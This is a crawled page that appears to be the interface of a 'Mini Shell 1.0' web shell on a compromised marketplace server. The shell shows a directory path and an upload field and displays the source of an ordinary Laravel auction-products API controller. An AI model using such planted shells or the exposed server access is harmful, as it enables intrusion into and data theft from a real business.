HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

¡Página no encontrada!

La página que busca no se encuentra en nuestro servidor.

Volver al inicio
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/AuctionProductController.php
<?php



namespace App\Http\Controllers\Api\V2;



use App\Http\Controllers\Controller;

use App\Http\Resources\V2\Auction\AuctionBidProducts;

use App\Http\Resources\V2\Auction\AuctionPurchaseHistory;

use App\Http\Resources\V2\AuctionMiniCollection;

use App\Http\Resources\V2\AuctionProductDetailCollection;

use App\Models\AuctionProductBid;

use App\Models\Product;

use Illuminate\Http\Request;

use Illuminate\Support\Facades\DB;





class AuctionProductController extends Controller

{



    public function index()

    {

        $products = Product::latest()->where('published', 1)->where('auction_product', 1);

        if (get_setting('seller_auction_product') == 0) {

            $products = $products->where('added_by', 'admin');

        }

        $products = $products->where('auction_start_date', '<=', strtotime("now"))->where('auction_end_date', '>=', strtotime("now"));





        return new AuctionMiniCollection($products->paginate(10));

    }





    public function details_auction_product(Request $request, $id)

    {

        $detailedProduct  = Product::where('id', $id)->get();

        return new AuctionProductDetailCollection($detailedProduct);

    }



    public function bided_products_list()

    {

        $own_bids = AuctionProductBid::where('user_id', auth()->id())->orderBy('id', 'desc')->pluck('product_id');

        $bided_products = Product::whereIn('id', $own_bids)->paginate(10);

        return  AuctionBidProducts::collection($bided_products);

    }



    public function user_purchase_history(Request $request)

    {



        $orders = DB::table('orders')

            ->orderBy('code', 'desc')

            ->join('order_details', 'orders.id', '=', 'order_details.order_id')

            ->join('products', 'order_details.product_id', '=', 'products.id')

            ->where('orders.user_id', auth()->user()->id)

            ->where('products.auction_product', '1');

        if ($request->payment_status != "" || $request->payment_status != null) {

            $orders =   $orders->where('orders.payment_status', $request->payment_status);

        }

        if ($request->delivery_status != "" || $request->delivery_status != null) {

            $orders =   $orders->where('orders.delivery_status', $request->delivery_status);

        }



        $orders = $orders->select('order_details.order_id as id')->paginate(15);



        return AuctionPurchaseHistory::collection($orders);

    }

}